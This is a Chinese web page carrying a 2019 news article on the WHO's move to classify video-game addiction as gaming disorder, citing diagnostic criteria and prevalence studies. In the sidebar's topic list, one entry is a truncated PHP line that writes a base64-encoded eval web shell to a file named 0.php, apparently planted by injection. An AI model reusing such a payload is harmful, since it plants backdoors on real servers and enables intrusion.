2分六合

IT技术互动交流平台

世界卫生组织:游戏成瘾将可能成为疾病

发布日期:2019-05-22 14:03:09
喜爱玩游戏的人并不少,青少年最多,在玩游戏中遇到不良的游戏体验,我们经常开玩笑说,游戏让自己“心态崩了”,但是现在这也许并不是段子。目前有越来越多的证据表明,很多游戏玩家在玩电子游戏时出现了上瘾行为,并因此面临着极大的心理压力。世界卫生组织将游戏障碍定义为一种游戏行为(“数码游戏”或“视频游戏”)模式,通俗来说,这类模式特点是日益沉迷游戏,导致生活和日常活动中全被游戏霸占,最终出现消息影响却依然“追随”游戏。

就游戏障碍的诊断而言,行为模式必须足够严重,导致在个人、家庭、社交、教育、职场或其他重要领域造成重大的损害,并通常明显持续了至少12个月。

核磁共振扫描结果显示,抑郁症与电子游戏成瘾之间存在联系,致瘾的电子游戏对儿童大脑的影响与药物滥用或酗酒类似。2018年,世界卫生组织在对《国际疾病分类》进行第11次修订时,将电子游戏上瘾列为一种疾病,即游戏障碍。
研究表明,参与数字或视频游戏的人群中只有一小部分会受到游戏障碍的影响,不过,玩游戏的人应该警惕他们在游戏上所花的时间,特别是当他们因此无暇顾及其他日常活动时,并警惕游戏行为模式对身心健康和社交功能的影响。世界卫生组织(WHO)将在下周进行一项投票,决定是否将电子游戏成瘾正式确定为一种疾病。

将电子游戏成瘾列为正式疾病最先响应的就是广大家长们,还不少家长表示希望有对游戏成瘾人群的治疗方案。而与之相反非营利组织国际游戏开发者协会(IGDA)此前曾发出警告,表示将谴责任何将游戏上瘾归类为疾病的决定。微软等游戏巨头声称,他们正试图让家长更多地控制孩子在游戏上所花的时间。
早在2013年,美国精神病学学会在第五版《精神疾病诊断与统计手册》中引入了“互联网游戏障碍”的概念。当时亚洲一些国家和研究机构对年轻男性的研究显示,当人全神贯注于网络游戏时,他们大脑的活动与毒品成瘾者类似,在极端情况下可能表现为上瘾行为。不过,当时美国精神医学学会将“互联网游戏障碍”归类为“尚待进一步研究”的范畴。而其实在之后的几年的研究中符合美国精神医学学会提出的“互联网游戏障碍”症状的玩家非常少,只有0.3%到1%的人满足标准,65%的玩家没有任何相关症状。
2017年,发表在《美国精神病学杂志》上的一项针对美国、英国、加拿大和德国成年人的研究显示,而且,即便是符合美国精神医学学会所列症状的玩家,他们的精神健康、生理健康和社会活动与其他人并没有显著差异。
仅此,广大游戏玩家们,不管是处于外界的鉴定,还是自身的健康考虑,还是希望大家对于游戏喜爱就好,勿沉迷。

 

延伸阅读:

Tag标签:
  • 专题推荐

  • test
  • <?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF...... 详细
About IT165 - 广告服务 - 隐私声明 - 版权申明 - 免责条款 - 网站地图 - 网友投稿 - 联系方式
本站内容来自于互联网,仅供用于网络技术学习,学习中请遵循相关法律法规